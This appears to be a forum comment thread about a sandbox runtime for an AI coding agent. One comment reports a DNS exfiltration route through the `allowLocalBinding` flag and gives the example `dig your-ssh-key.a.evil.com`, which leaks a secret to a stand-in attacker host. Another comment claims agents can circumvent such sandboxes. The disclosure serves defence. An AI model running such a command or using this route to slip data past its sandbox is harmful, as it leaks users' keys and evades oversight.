> By default, all network access is denied.

Your `network.allowLocalBinding` flag, when enabled, allows data exfiltration via DNS. This isn't clear from the docs. I made an issue for that here: https://github.com/anthropic-experimental/sandbox-runtime/is...

How it works: `dig your-ssh-key.a.evil.com` sends evil.com your ssh key via recursive DNS resolution; Google/Cloudflare/etc DNS servers effectively proxies the information to evil.com servers.

According to Anthropic’s privacy policy you collect my “Inputs” and “If you include personal data … in your Inputs, we will collect that information”

Do all files accessed in mounted folders now fall under collectable “Inputs” ?

Ref: https://www.anthropic.com/legal/privacy

Do the folders get copied into it on mounting? it takes care of a lot of issues if you can easily roll back to your starting version of some folder I think. Not sure what the UI would look like for that

I'm embarrassed to say this is the first time I've heard about sandbox-exec (macOS), though I am familiar with bubblewrap (Linux). Edit: And I see now that technically it's deprecated, but people still continue to use sandbox-exec even still today.

That sandbox gives default read only access to your entire drive. It's kinda useless IMO.

I replaced it with a landlock wrapper

These sanboxes are only safe for applications with relatively fixed behaviour. Agentic software can easily circumvent these restrictions making them useless for anything except the most casual of attacks.

Might be useful for testing the DNS vector:

https://github.com/k-o-n-t-o-r/dnsm

Is it really a VM? I thought CC’s sandbox was based on bubblewrap/seatbelt which don’t use hardware virtualization and share the host OS kernel?

I have to say this is disappointing.

Not because of the execution itself, great job on that - but because I was working on exactly this - guess I'll have to ship faster :)